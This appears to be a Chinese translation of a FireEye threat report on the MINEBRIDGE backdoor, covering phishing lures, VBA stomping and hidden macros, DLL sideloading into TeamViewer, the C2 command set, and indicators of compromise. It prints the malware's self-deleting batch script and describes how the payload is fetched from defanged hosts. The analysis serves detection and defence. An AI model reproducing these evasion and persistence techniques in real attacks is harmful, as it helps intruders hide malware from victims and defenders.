9faf9e0c5945876c8bad3c121c91ea15

88c4019e66564ad8c15b189b903276910f9d828d5e180cac30f1f341647278fc

a37e6eeb06729b6108649f21064b16ef

e895dc605c6dcaf2c3173b5ec1a74a24390c4c274571d6e17b55955c9bd48799

ab8dc4ba75aad317abb8ee38c8928db0

212793a915bdd75bede8a744cd99123e2a5ac70825d7b2e1fc27104276a3aafd

b8817253288b395cb33ffe36e0072dc9

ba013420bd2306ecb9be8901db905b4696d93b9674bd7b10b4d0ef6f52fbd069

cb5e5d29f844eb22fecaa45763750c27

4ff9bfde5b5d3614e6aa753cacc68d26c12601b88e61e03e4727ee6d9fe3cdc2

cffda37453e1a1389840ed6ebaef1b0d

c9f6ba5368760bf384399c9fd6b4f33185e7d0b6ea258909d7516f41a0821056

dc0e1e4ec757a777a4d4cc92a8d9ef33

ac7e622e0d1d518f1b002d514c348a60f7a7e7885192e28626808a7b9228eab6

e5c7e82670372e3cf8e8cab2c1e6bc17

eba3c07155c47a47ee4d9b5201f47a9473255f4d7a6590b5c4e7b6e9fc533c08

f93062f6271f20649e61a09c501c6c92

3f4f546fba4f1e2ee4b32193abcaaa207efe8a767580ab92e546d75a7e978a0b

MINEBRIDGE/MINEDOOR恶意样本:

05432fc4145d56030f6dd6259020d16c

182ccc7f2d703ad732ffee0e1d9ae4ae5cf6b8817cc33fd44f203d31868b1e97

0be9911c5be7e6dfeaeca0a7277d432b

65ead629a55e953b31668aac3bd373e229c45eb1871d8466f278f39ebcd5d26b

0dd556bf03ecb42bf87d5ea7ce8efafe

48f6810e50d08c2631f63aae307a7724dba830430f5edd4b90b4b6a5b3c3ca85

15edac65d5b5ed6c27a8ac983d5b97f6

03ff2b3067aa73ecd8830b6b0ea4f7cfa1c7476452b26227fb433265e7206525

1e9c836f997ddcbd13de35a0264cf9f1

23da418912119a1358c9a1a4671ba60c396fff4c4de225fe6a225330147549a7

21aa1066f102324ccc4697193be83741

86d839e1d741445f194965eee60d18bd292bec73e4889089e6caf9877581db12

22b7ddf4983d6e6d84a4978f96bc2a82

fc39cb08cae90c661e00718e2a0051b5de3dcb7cddde919b9ffd2d79bf923d1f

2333fbadeea558e57ac15e51d55b041c

57671d5154e707da0ee6139485f45a50fa9221852ebb65781d45a2660da7d0cb

2b9961f31e0015cbcb276d43b05e4434

e41b89869c2b510c88acd1ed9fd4a6dfe89222a81c6c1241a69af3b7f812f712

2c3cb2132951b63036124dec06fd84a8

b6dbb902125e7bf6f6701b654cbff4abaf2e853441cf34045ac19eff5ed8ce84

4de9d6073a63a26180a5d8dcaffb9e81

7b1d4774176976ffcb2075889557f91a43c05fb13f3bc262bbaec4d7a0a827e6

505ff4b9ef2b619305d7973869cd1d2b

abb05ba50f45742025dd4ebff2310325783da00fb7bc885783e60a88c5157268

52d6654fe3ac78661689237a149a710b

d6a0e62fe53116c9b5bccd2a584381e2ca86e35490d809ce1900603d5e6b53eb

53e044cd7cea2a6239d8411b8befb4b7

6e76d648d446e6a70acdd491f04c52d17f9f0e1ef34890c6628c4f48725b47c8

5624c985228288c73317f2fa1be66f32

99559a5f06b0279ed893d2799b735dae450a620f6cea2ea58426d8b67d598add

598940779363d9f4203fbfe158d6829b

1358b0ccae9dbb493228dc94eb5722c8d34c12227a438766be83df8c1c92a621

60bdea2c493c812428a8db21b29dd402

383c86deed8797e0915acf3e0c1b6a4142c2c5ecb5d482517ed2ade4df6f36fd

681a77eba0734c0a17b02a81564ae73f

0aaa66dc983179bffdb181079f3b786b6cd587c38c67ba68b560db0bd873278a

6b7d9268c7000c651473f33d088a16bd

6e39ffecab4ca0bd7835a2e773ebfc3f6d909a0a680f898e55f85ed00728666d

6d6f50f7bba4ae0225e9754e9053edc0

ddf33eff293ffc268dfd0a33dddef97aefe9e010ec869dc22c221d197eb85740

6de77c1b4e8abaaf304b43162252f022

8f50ddc1519e587597882a6bd0667653c36a8064b56ee5ff77665db2faf24710

7004fadfa572d77e24b33d2458f023d1

cccd6b46f950caec5effdd07af339be78691974fec5f25d923932b35edb95c4a

71988460fd87b6bff8e8fc0f442c934b

8167d41ad30f5d451791878815e479965b2f5213231f26819ecaf4fcc774ab12

722981703148fa78d41abbae8857f7a2

a3070ee10dd5bcd65a45b72848c926db2602e5297641452edff66e7133cdce9c

818f7af373d1ec865d6c1b7f59dc89e5

cbe4b73c0c95c207ccde9d9bd80f541cf90cad18ba5abc3fe66a811ead1601c2

832052b0f806f44b92f6ef150573af81

e162a70a6e27fe23379d3a17a3a727d85a94b79416d81ec3b4ea80d329e96830

836125ae2bed57be93a93d18e0c600e8

0fbde653bef4642626f2996a41a15a635eb52cd31eacce133d28301b902d67df

86d60bce47c9bb6017e3da26cab50dcf

6c134908ad74dfa1468a1166e7d9244695f1ffeff68bfd4eec4b35820b542b8a

8919458aec3dcc90563579a76835fc54

aad0537924bacddd0d5872f934723e765dbb182f2804c6f594f9b051937495ec

8d7e220af48fceee515eb5e56579a709

3eefa7072344e044c0a6abb0030f3f26065bf6a86bb50ea38473dd7ac73904fb

91b8ec04d8b96b90ea406c7b98cc0ad6

0520e68a4b73c3b41e566cf07be54e1f1cb59c59c303fe3390e0687f9af1a58a

959eb0696c199cbf60ec8f12fcf0ea3c

ccb5f8734befd6ab218513e16a57679a8fb43b2732e19233ee920d379045e318

95ec5e8d87111f7f6b2585992e460b52

3f8e38ccf71f122b65fdc679db13e3de3bb4b4fc04b8ab6f955d02e0bca10fae

9606cf0f12d6a00716984b5b4fa49d7d

f4f062fd7b98365ed6db993b1da586dd43e5cdcc2f00a257086734daf88c9abb

9f7fed305c6638d0854de0f4563abd62

6c5f72ddf0262838a921107520cdc12ba8e48dbafab4a66732a350095dd48e9f

a11c0b9f3e7fedfe52b1fc0fc2d4f6d1

d35ac29ea6e064b13d56f6a534022f253cf76b98e10a7ea1cbfa086eefd64f4b

a47915a2684063003f09770ba92ccef2

7b16ce0d2443b2799e36e18f60fe0603df4383b1a392b0549c3f28159b1ca4d4

a917b2ec0ac08b5cde3678487971232a

8578bff803098bf5ca0d752d0a81f07659688a32cbfc946728e5ab0403f5c4ba

ad06205879edab65ed99ed7ff796bd09

d560f8717f4117d011f40c8880081d02d1455a41c93792e1600799d3e5ee9421

ad910001cb57e84148ef014abc61fa73

c9a6f7b0603779690c1d189850403f86608a3c5e1cd91e76fd31c4f119ae256b

b1ce55fca928cf66eaa9407246399d2c

c6214ec7909ce61d6ec3f46f5a7ec595d8cc8db48965c5baee8a346632cbe16d

b9249e9f1a92e6b3359c35a8f2a1e804

0695e5e49a297c980b96f76bf10e5540de188d6a6a162e38f475418d72a50032

bd6880fb97faceecf193a745655d4301

23840c587e4e9588b3d0795d4d76a4f3d4d5b2e665ce42dde0abcd1e0a2ba254

be2597a842a7603d7eb990a2135dab5e

6288d3de1f1aa05fa0a5f0c8eb9880d077f034fc79fc20f87cbfcc522aa803cb

cf5470bfe947739e0b4527d8adb8486a

6357fdb8f62948d489080b61caf135e6aaba32dcdb7dc49b0efafef178b3b54f

d593b7847ec5d18a7dba6c7b98d9aebf

5df3a6afb1a56fa076c6db716d5a050455158941ec962546a8799fc80ccfa573

d7ee4ffce21325dfe013b6764d0f8986

92e94482dee75261c8ebdcbb7ace382a097cca11bcdc675bbe2d7b3f67525f84

de4d7796006359d60c97a6e4977e4936

ee8ba1c5329d928d542bfa06eec2c0a3e3b97dcc20382ddbc27bc420ceaeb677

e0069cd3b5548f9fd8811adf4b24bf2e

6046d6aed3f4ee2564d6be540d46bcdc0bebce11a1ced4b9ddbfa1a41084411c

e1ea93fa74d160c67a9ff748e5254fe0

92c10ef23209e09abb17e41d67301f0e3f7d9e7ddfc7c1a66140c4986d72bee7

ea15d7944c29f944814be14b25c2c2b1

5898b41ca4f4777ad04d687f93548129ccb626d2f5e6e100b0a037c3d40a7444

f22a4abd5217fa01b56d064248ce0cc5

858b4070f8b83aa43fd6a5189a8ed226ce767a64972db893e36550a25b20be94

f3cb175e725af7f94533ecc3ff62fa12

5a5385df469459cd56f6eecbf4b41b8c75aa17220c773501eaec22731f3a41bb

f6533e09a334b9f28136711ea8e9afca

9136c36ccd0be71725e8720a6cfdbdd38d7eea3998228c69ed4b52e78ba979c4

f7daaea04b7fe4251b6b8dabb832ee3a

6abd90d718113482a5bcd36e35b4ea32c469f94fc2cfb9c1c98214efbf64c352

fb1555210d04286c7bcb73ca57e8e430

36da56815dc0c274fc8aacdfffbc4d5e500025ccd1147cad513d59b69ab9557d

概述

在2020年1月,FireEye连续观察到多个有针对性的网络钓鱼活动,这些恶意活动的最终目的是下载并部署MINEBRIDGE后门。此次恶意活动的目标主要针对美国的金融服务组织,这一范围比我们此前使用FireEye产品进行遥测所获得的结果要更为广泛。我们观测到,攻击者曾针对韩国的组织发动攻击,其中涉及到一家营销机构。

在这些恶意活动中,攻击者精心制作了网络钓鱼的文档,并且利用了一些公开记录的文件。但根据我们的经验,此次攻击所使用的TTP并不常见,这可能是为了降低恶意文档中的宏代码被检测出来的概率。攻击者还在多次攻击中使用了自托管的电子邮件营销解决方案。值得关注的是,在这些恶意活动中使用的Payload,其加壳工具与之前我们发现的某个威胁参与者相关联,我们将在后面进行详细讨论。

本文主要分析这些恶意活动的主题及目标,说明攻击者所采用的独特攻击手法,对MINEBRIDGE后门(C++)进行分析,揭示一些潜在的关联性。最后,通过种种蛛丝马迹,我们发现威胁参与者对说唱音乐表现出不同寻常的喜爱。

发现恶意活动

我们在2019年12月首次发现了MINEBRIDGE恶意样本,并在2020年1月初首次观察到与该恶意活动相关的网络钓鱼活动。为了开展此次攻击,攻击者专门注册了与邮件内容相一致的域名,并使用这些域名上的邮件地址发送网络钓鱼信息。

攻击者可能正在使用名为Acelle的自托管电子邮件营销解决方案。在通过Acelle平台发出的电子邮件中,都会添加格式为“X-Acelle-

我们发现,在全部恶意活动中,都使用了相同的TTP,即“Customer-Id”值均为“X-Acelle-Customer-Id: 5df38b8fd5b58”。除了这个值之外,在我们所观察到的全部恶意活动中,还具有相同的“X-Acelle-Sending-Server_Id”和“X-Acelle-Campaign-Id”值。所有消息都包含一个“List-Unsubscribe”标头,该标头提供了一个托管在45.153.184.84的链接,说明这个服务器是网络钓鱼活动所使用的Acelle服务器。我们发现的样本详细信息如下。

时间戳:2020年1月7日 16:15

发件人:[email protected]

标题:tax return file

x-acelle-subscriber-id:25474792e6f8c

x-acelle-sending-server-id:5e14a2664ffb4

x-acelle-customer-id:5df38b8fd5b58

x-acelle-campaign-id:5e14a2664ffb4

时间戳:2020年1月7日 15:59

发件人:[email protected]

标题:tax return file

x-acelle-subscriber-id:22e183805a051

x-acelle-sending-server-id:5e14a2664ffb4

x-acelle-customer-id:5df38b8fd5b58

x-acelle-campaign-id:5e14a2664ffb4

时间戳:2020年1月7日

发件人:[email protected]

标题:tax return file

x-acelle-subscriber-id:657e1a485ed77

x-acelle-sending-server-id:5e14a2664ffb4

x-acelle-customer-id:5df38b8fd5b58

x-acelle-campaign-id:5e14a2664ffb4

时间戳:2020年1月7日 16:05

发件人:[email protected]

标题:tax return file

x-acelle-subscriber-id:ddbbffbcb5c6c

x-acelle-sending-server-id:5e14a2664ffb4

x-acelle-customer-id:5df38b8fd5b58

x-acelle-campaign-id:5e14a2664ffb4

恶意文档所请求的URL与恶意活动中交付最终MINEBRIDGE Payload的URL具有重合,这些域名都使用相同的托管安全防护服务。用于下载最终Payload的URI是“/team/invest.php”或“/team/rumba.php”。在这里,我们发现了一个最有趣的相似点。在大多数情况下,如果我们对这些域名的父目录“/team/”发出GET请求,将会返回Onyx乐队的“Bang 2 Dis”歌词。由于这一返回内容非常明确,我们在这里就不具体展现歌词的内容。

综合来看,这一系列恶意活动所注册的域名相同、诱饵内容相同、恶意文档宏代码相同,并且钓鱼邮件的主题相同。自首次发现相关恶意活动以来,我们已经先后发现了3次不同的攻击活动。

攻击活动1:2020年1月7日 – 税收相关主题

· 在这一系列攻击中,攻击者使用了在2019年11月下旬注册的CPA相关域名rogervecpa.com,向目标用户发送标题为“Tax Return File”的电子邮件,在邮件正文中包含与IRS相关的文本。

· 邮件附带的Payload经过精心设计,仿冒成与H&R Block相关的报税表格。

· 该攻击活动所针对的目标是金融部门。

1.png

2.png

攻击活动2:2020年1月8日 – 营销相关主题

· 在这一系列攻击中,攻击者使用了在2019年11月下旬注册的CPA相关域名rogervecpa.com和pt-cpaaccountant.com,后一个域名同样是在2019年11月下旬注册。

· 该钓鱼邮件的标题和正文主要提供虚假的营销合作机会。

· 邮件附带的Payload使用了通用的主题,以图片方式诱导用户启用宏内容。

· 该攻击活动主要针对韩国的营销机构。

3.png

4.png

攻击活动3:2020年1月28日 – 招聘相关主题

· 在这一系列攻击中,攻击者使用了多个不同的电子邮件地址发送钓鱼邮件,这些邮箱地址都使用了与招聘主题相关的域名agent4career.com,该域名在2020年1月20日注册。

· 该钓鱼邮件的标题和正文主要伪装成具有金融相关工作经验的应聘信息。

· 邮件附带的Payload被伪装为与正文内容相匹配的金融相关工作经验应聘者的简历。

· 该攻击活动主要针对金融部门发动攻击。

5.png

6.png

详细分析恶意宏代码

在钓鱼邮件中所包含的恶意文档中,使用了许多有趣的TTP,包括利用Office GUI隐藏宏内容,以及VBA Stomping技术(删除Office文档中的VBA源代码,仅保留称为p-code的宏代码编译版本,能有效规避基于VBA源代码的恶意文档检测技术)。

VBA Stomping是一种逃避检测的技术,适用于处理恶意Office文档,使文档中所包含宏的源代码与伪代码(以下简称p-code)不匹配。为了避免重复研究同时节约读者的时间,我们将参考其他研究人员的研究成果进行讲解。首先,我们建议阅读Outflank发布的EvilClippy工具的说明文章。Walmart的安全团队还发表了关于该技术的深入研究。Vesselin Bontchev开发了一个开源的实用程序,可以从Office文档中转储p-code。我们可以利用这个工具,检查文档中与VBA源代码相分离的p-code。此外,可以使用开源分析工具包oletools,通过对VBA源代码中提取的关键字与p-code助记符进行比较,以检测是否存在VBA Stomping技术。

对于感兴趣的读者来说,我们已经列举了很多高质量的研究文章。但简而言之,我们汇总一下上述文章中的关键结论:

1、针对VBA宏中源代码进行提取的静态分析工具,可能无法有效检测使用VBA Stomping技术的恶意p-code代码。

2、在VBA源代码被删除,并且在未编译p-code的Office版本中打开文档时,宏将无法正确执行,从而导致潜在的动态分析失败。

3、如果使用与创建文档时所用的Office版本不同的VBA版本打开文档,VBA源代码将会重新编译为p-code。

4、在Office中打开文档并使用GUI查看宏时,嵌入的p-code将被反编译,以实现查看。

在这里,最后两点说明了,攻击者可以更广泛地应用此类技术,从而增强复杂性。由于EvilClippy这类工具包利用Office版本遍历的功能来解决,因此就导致其版本控制的过程变得非常复杂。攻击者使用VBA Stomping技术生成的文档中包含良性的VBA源代码,但其中的恶意p-code必须要知道创建p-code的Office版本,否则恶意文档将不能发挥作用。除此之外,在攻击者使用VBA Stomping技术生成恶意文档后,一旦用户或研究人员在Office编辑器中打开了宏的内容,他们就会直接看到恶意代码。

实际上,攻击者利用了EvilClippy实用程序的另一个功能,来规避上述问题。攻击者通过修改文档的PROJECT流,使用户或研究人员在Office中无法查看宏的源代码。我们以其中一个恶意样本(SHA-256:18698c5a6ff96d21e7ca634a608f01a414ef6fbbd7c1b3bf0f2085c85374516e)为例来详细说明。

恶意文档的PROJECT流:

ID="{33C06E73-23C4-4174-9F9A-BA0E40E57E3F}"
Document=ThisDocument/&H00000000
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="A3A1799F59A359A359A359A3"
DPB="87855DBBA57B887C887C88"
GC="6B69B1A794A894A86B"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=0, 0, 0, 0, C
Module1=26, 26, 388, 131, Z

上面的PROJECT流已经被修改。在PROJECT流的工作空间中,引用了一个模块。然而,这个模块没有被定义。最后,我们得到在使用工具对其进行修改之前的PROJECT流:

ID="{33C06E73-23C4-4174-9F9A-BA0E40E57E3F}"
Document=ThisDocument/&H00000000
Module=”Module1”
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="A3A1799F59A359A359A359A3"
DPB="87855DBBA57B887C887C88"
GC="6B69B1A794A894A86B"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=0, 0, 0, 0, C
Module1=26, 26, 388, 131, Z

有趣的是,我们最初识别出该威胁参与者仅对恶意文档执行了上述操作(避免出现版本不同而增加的复杂性),而实际上并没有对p-code进行Stomping以使得VBA源代码不匹配。这似乎是一个不太寻常的做法,似乎表示攻击者正在评估其恶意活动的效果。上面的恶意文档,是攻击者利用这两种技术的示例,如下图中使用Web公开服务IRIS-H Digital Forensics所展示的截图所示:

7.png

我们可以看到,恶意文档的VBA源代码是空白的Sub过程定义。通过迅速浏览p-code,我们发现该代码可以识别基于网络或基于主机的指标,我们可以借助它们,来确定在正确的Office版本上运行恶意样本时将会执行的操作。当我们尝试在GUI编辑器中打开宏时,Office将报错:

8.png

在研究过程中,我们建议各位研究人员关注以下注意事项:

1、GUI隐藏功能会更改PROJECT流,其中包含一个模块,但在流中没有对模块、类或基础类进行定义。我们可以利用这一点,进行静态检测。

2、尽管不再存在宏的源代码,但样本中的Module1仍然包含静态字符串,这可能表明恶意样本利用了Windows API。同样也可以利用这一点进行静态检测。

9.png

3、在上文提到的oletools实用程序可以进行此类恶意文档的检测。一旦发现误报、漏报或BUG,开源项目的维护人员会定期对其进行修复,以此来实现工具的不断优化:

10.png

攻击者使用上述技术,无疑会额外增加制作样本时所花费的时间,侧面上增加利用该方法扩大恶意活动规模的难度。尽管像EvilClippy这样的工具提供了创建难以检测的恶意文档的方法,但恶意文档中的Payload需要完成额外的工作,必须首先对目标进行指纹识别,才能保证Payload的成功执行。对于威胁参与者来说,如果具备一定资源和技术能力,可以满足上述要求。同时,对于安全研究人员来说,了解上述方法将有助于针对此类恶意活动进行有针对性的检测。实际上,我们还稽查了使用此类技术的恶意样本,发现了一些使用Cobalt Strike BEACON和POSHC2 Payload的其他恶意活动。

近期,我们扩展了FireEye内部的威胁行为树,以确保囊括这些攻击技术。在发布本文时,我们还暂时无法将上述技术(操纵PROJECT流和VBA Stomping)对应到MITRE ATT&CK Matrix for Enterprise中的现有技术上。我们的团队已经将上述内容提交至ATT&CK知识库,同时提交了一些相关的数据。

越过卡扎督姆桥:MINEBRIDGE的感染链

在恶意文档成功运行后,会调用URLDownloadToFileA访问URL hxxps://marendoger[.]com/team/rumba.php,以创建“uCWOncHvBb.dll”。返回的MINEDOOR加壳的MINEBRIDGE样本保存在执行用户的AppData目录下(例如:C:\Users\username\AppData\Roaming\uCWOncHvBb.dll),随后通过调用“regsvr32.exe /s %AppData%\uCWOncHvBb.dll”来执行DllRegisterServer导出:

11.png

随后,将利用Windows API URLDownloadToFileW,从hxxps://creatorz123[.]top/~files_tv/~all_files_m.bin中检索ZIP文件。检索到的ZIP文件将写入到%TEMP%中,并解压缩到新创建的目录“%AppData%\Windows Media Player”下。在解压缩完成后,原始的ZIP文件会被删除:

12.png

在ZIP文件中,包含执行TeamViewer副本所需的合法文件,这些文件在最后威胁指标一章中详细列出。在解压缩名为TeamViewer.exe的文件后,将该文件重命名为wpvnetwks.exe:

13.png

完成上述任务后,uCWOncHvBb.dll会将其自身移动到%AppData%\Windows Media Player\msi.dll。恶意宏随后关闭msi.dll的句柄,并使用wpvnetwks.exe调用CreateProcessA,这将导致重命名的TeamViewer实例对同目录下的msi.dll进行侧加载。该恶意软件通过在%CISDL_STARTUP%\Windows WMI.lnk中创建指向%AppData%\Windows Media Player\wpnetwks.exe的链接文件来确保重启后的持久性,在每次用户登录时启动该文件。

最终,将导致一个合法的老版本TeamViewer(版本11,编译时间为2018年9月17日10:30:12 UTC)被恶意的侧加载DLL(MINEBRIDGE)劫持。

MINEBRIDGE是一个32位的C++后门,通过DLL侧加载劫持技术对老版本、未打补丁的合法TeamViewer远程桌面客户端进行劫持。后门程序会挂钩Windows API,以防止受害者看到TeamViewer程序。默认情况下,MINEBRIDGE通过HTTPS POST请求与硬编码的C2域名进行命令和控制(C2)通信。POST请求中包含一个GUID,该GUID根据系统的卷序列号、TeamViewer唯一ID和密码、用户名、计算机名称、操作系统版本和信标间隔来生成。MINEBRIDGE还可以通过使用自定义窗口过程挂钩的方式,发送TeamViewer聊天消息,与C2服务器进行通信。上述两种C2方式都支持以下命令:下载和执行Payload、下载任意文件、自我删除和更新、列出进程、关闭或重新启动系统、执行任意Shell命令、进程提升、打开或关闭TeamViewer的麦克风、收集系统UAC信息。

MINEBRIDGE的默认通信方式是通过TCP/443端口发送HTTPS POST请求。但是,信标间隔时间可以通过命令进行更改。在发送任何C2信标之前,样本会等待通过SetWindowsTextW挂钩收集TeamViewer生成的唯一ID(< tv_id >)和密码(< tv_PASS >)。

该样本使用TCP/443端口,通过URI ~f83g7bfiunwjsd1/g4t3_indata.php连续向下述主机发送HTTP POST请求,直至收到响应为止:

· 123faster[.]top

· conversia91[.]top

· fatoftheland[.]top

· creatorz123[.]top

· compilator333[.]top

其中,POST正文中包含格式化的字符串uuid=< guid >&id=< tv_id >&pass=< tv_pass >&username=< user_name >&pcname=< comp_name >&osver=< os_version >&timeout=< beacon_interval >,其中< guid >是从系统卷序列号派生的GUID,并使用格式字符串%06lX-%04lX-%04lX-%06lX格式化。此外,请求使用硬编码的HTTP用户代理字符串“Mozilla/5.0(iphone;cpu iphone OS 11_1_1,类似MacOS X)AppleWebKit/604.3.5(KHTML,像Gecko)版本/11.0 Mobile/15B150 Safari/604.1”。

在收到响应后,将会对命令进行处理。一个响应可能会包含多个命令。对于每个执行的命令,样本都会通过TCP/443端口发送HTTPS POST请求,指示命令是否成功执行。该恶意样本响应以下命令:

1、drun:根据命令中提供的URL,下载并执行可执行文件,将文件保存到%TEMP%\

2、rundll_command:根据命令中提供的URL,下载经过XOR编码和LZNT1压缩的自定义DLL,并将其保存到%TEMP%\

3、update_command:将恶意样本文件重命名为

4、restart_command:使用命令行参数COM1_重新启动托管的TeamViewer应用程序。

5、terminate_command:终止托管的TeamViewer应用程序。

6、kill_command:创建并执行自删除的批处理脚本tvdll.cmd,以删除所有解压缩的文件和样本文件。最后结束托管的TeamViewer应用程序。

7、poweroff_command:关闭系统。

8、reboot_command:重新启动系统。

9、setinterval_command:更新C2信标间隔时间。

在响应中执行所有命令之后,样本将在指定的C2信标间隔时间内睡眠。随后,重复上述过程,发送下一个C2信标。这一行为将会无限次重复。

自删除的批处理脚本tvdll.cmd中包含以下内容,其中< 重命名_TeamVeiwer >是重命名的TeamViewer可执行文件(即wpvnetwks.exe),< sample_name >是此示例的名称(即msi.dll)。

@echo off
ping 1.1.1.1 -n 1 -w 5000 > nul
goto nosleep1
:redel1
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep1
attrib -a -h -s -r %~d0%~p0TeamViewer_Resource_en.dll
del /f /q %~d0%~p0TeamViewer_Resource_en.dll
if exist  "%~d0%~p0TeamViewer_Resource_en.dll" goto redel1
goto nosleep2
:redel2
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep2
attrib -a -h -s -r %~d0%~p0TeamViewer_StaticRes.dll
del /f /q %~d0%~p0TeamViewer_StaticRes.dll
if exist  "%~d0%~p0TeamViewer_StaticRes.dll" goto redel2
goto nosleep3
:redel3
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep3
attrib -a -h -s -r %~d0%~p0TeamViewer_Desktop.exe
del /f /q %~d0%~p0TeamViewer_Desktop.exe
if exist  "%~d0%~p0TeamViewer_Desktop.exe" goto redel3
goto nosleep4
:redel4
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep4
attrib -a -h -s -r %~d0%~p0TeamViewer.ini
del /f /q %~d0%~p0TeamViewer.ini
if exist  "%~d0%~p0TeamViewer.ini" goto redel4
goto nosleep5
:redel5
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep5
attrib -a -h -s -r %~d0%~p0del /f /q %~d0%~p0if exist  "%~d0%~p0" goto redel5
goto nosleep6
:redel6
ping 1.1.1.1 -n 1 -w 750 > nul
:nosleep6
attrib -a -h -s -r %~d0%~p0del /f /q %~d0%~p0if exist  "%~d0%~p0" goto redel6
attrib -a -h -s -r %0
del /f /q %0

与另一个恶意活动的关联性

我们识别出的MINEBRIDGE样本使用名为MINEDOOR的加载工具包装。自2019年秋季以来,我们观察到一个名为TA505的网络钓鱼组织,在恶意活动中使用MINEDOOR交付FRIENDSPEAK后门。MINEDOOR和FRIENDSPEAK的组合此前也被名为Get2的组织使用过。

我们发现,使用MINEBRIDGE的恶意活动和使用FRIENDSPEAK的恶意活动之间所使用的战术、技术和程序(TTP)只有有限的交集,这可能表明MINEDOOR并非TA505组织所独有。近期,FRIENDSPEAK相关的恶意活动中似乎使用了具有欺骗性的发件人地址、包含嵌入式Payload的Excel表格和伪装成通用技术服务的特定域名。与此同时,MINEBRIDGE相关的恶意活动使用了攻击者控制的电子邮件地址、从远程服务器下载包含Payload的恶意Word文档以及使用各种主题的域名,其中的一些域名在恶意活动开展的数周前进行了注册。与使用FRIENDSPEAK的恶意活动相比,使用MINEBRIDGE的恶意活动在数量和范围上都明显要更小一些。最后,我们在东正教圣诞节期间,发现有俄罗斯地区的攻击者使用MINEBRIDGE恶意软件进行攻击。我们在圣诞假期前后,没有观察到有攻击者投放FRIENDSPEAK恶意软件。根据恶意软件中使用的语言资源,我们认为TA505攻击者可能使用俄语。

这些恶意活动可能代表TA505恶意活动中的一个子集,比如TA505的一个特定客户,或由恶意组织中特定成员进行的操作。上述两组恶意活动所使用的域名都是在Eranet上注册,并且注册者所在地点是JL, US或Fujian, CN,但这并不是普遍的特征,所以我们怀疑TA505使用他人的信息来注册域名。

根据攻击后进行的恶意活动,可以揭示出这些恶意活动是由TA505还是另外的威胁组织进行的。但是,FireEye尚未观察到任何主机被MINEBRIDGE成功入侵的实例。因此,FireEye暂时将该恶意活动与TA505恶意活动区分开来。

致谢

FireEye在这里要感谢文章中所引用开源工具和公开研究成果的作者们。此外,感谢TeamViewer在威胁研究过程中与我们开展的紧密合作。在本篇文章中描述的DLL加载问题已经在2019年10月22日发布的TeamViewer 11.0.214397版本中实现修复。此外,TeamViewer正在努力针对该恶意软件的功能添加更多的缓解措施。

威胁指标

启动进程:

Microsoft Word启动TeamViewer

创建目录:

%APPDATA%\Windows Media Player

创建文件:

%APPDATA%\Windows Media Player\msi.dll

%APPDATA%\Windows Media Player\msi.dll.old

%APPDATA%\Windows Media Player\tvdll.cmd

%APPDATA%\Windows Media Player\wpvnetwks.exe

%APPDATA%\Windows Media Player\TeamViewer_Resource_en.dll

%APPDATA%\Windows Media Player\TeamViewer_StaticRes.dll

%APPDATA%\Windows Media Player\TeamViewer_Desktop.exe

%APPDATA%\Windows Media Player\TeamViewer.ini

%CSIDL_STARTUP%\Windows WMI.lnk

%CSIDL_PROFILE%\

%TEMP%\

%TEMP%\

%TEMP%\~8426bcrtv7bdf.bin

网络活动:

使用HTTPS POST请求,发送到C2 URL。User-Agent字符串:“Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B150 Safari/604.1”

C2域名:

123faster[.]top

conversia91[.]top

fatoftheland[.]top

creatorz123[.]top

compilator333[.]top

下载域名:

neurogon[.]com

tiparcano[.]com

seigortan[.]com

marendoger[.]com

badiconreg[.]com

发件人域名:

pt-cpaaccountant[.]com

rogervecpa[.]com

agent4career[.]com

bestrecruitments[.]com

网络钓鱼恶意文档:

01067c8e41dae72ce39b28d85bf923ee

80e48391ed32e6c1ca13079d900d3afad62e05c08bd6e929dffdd2e3b9f69299

1601137b84d9bebf21dcfb9ad1eaa69d

3f121c714f18dfb59074cbb665ff9e7f36b2b372cfe6d58a2a8fb1a34dd71952

1c883a997cbf2a656869f6e69ffbd027

de7c7a962e78ceeee0d8359197daeb2c3ca5484dc7cf0d8663fb32003068c655

2ed49bd499c9962e115a66665a6944f6

b8f64a83ad770add6919d243222c62471600e64789264d116c560b7c574669ec

3b948368fe1a296f5ed18b11194ce51c

999d4f434bbc5d355656cc2a05982d61d6770a4c3c837dd8ec6aff8437ae405a

4148281424ff3e85b215cd867746b20c

9812123d2367b952e68fa09bd3d1b3b3db81f0d3e2b3c03a53c21f12f1f4c889

54f22fbc84f4d060fcbf23534a02e5f6

7b20e7e4e0b1c0e41de72c75b1866866a8f61df5a8af0ebf6e8dbd8f4e7bdc57

5a3d8348f04345f6687552e6b7469ac1

77a33d9a4610c4b794a61c79c93e2be87886d27402968310d93988dfd32a2ccf

607d28ae6cf2adb87fcb7eac9f9e09ab

f3917832c68ed3f877df4cd01635b1c14a9c7e217c93150bebf9302223f52065

9ba3275ac0e65b9cd4d5afa0adf401b4

18698c5a6ff96d21e7ca634a608f01a414ef6fbbd7c1b3bf0f2085c85374516e

9becd2fd73aa4b36ad9cd0c95297d40b

30025da34f6f311efe6b7b2c3fe334f934f3f6e6024e4d95e8c808c18eb6de03

9cce3c9516f0f15ce18f37d707931775

bf0adb30ca230eee6401861e1669b9cfeaa64122cc29c5294c2198f2d82f760e

9faf9e0c5945876c8bad3c121c91ea15

88c4019e66564ad8c15b189b903276910f9d828d5e180cac30f1f341647278fc

a37e6eeb06729b6108649f21064b16ef

e895dc605c6dcaf2c3173b5ec1a74a24390c4c274571d6e17b55955c9bd48799

ab8dc4ba75aad317abb8ee38c8928db0

212793a915bdd75bede8a744cd99123e2a5ac70825d7b2e1fc27104276a3aafd

b8817253288b395cb33ffe36e0072dc9

ba013420bd2306ecb9be8901db905b4696d93b9674bd7b10b4d0ef6f52fbd069

cb5e5d29f844eb22fecaa45763750c27

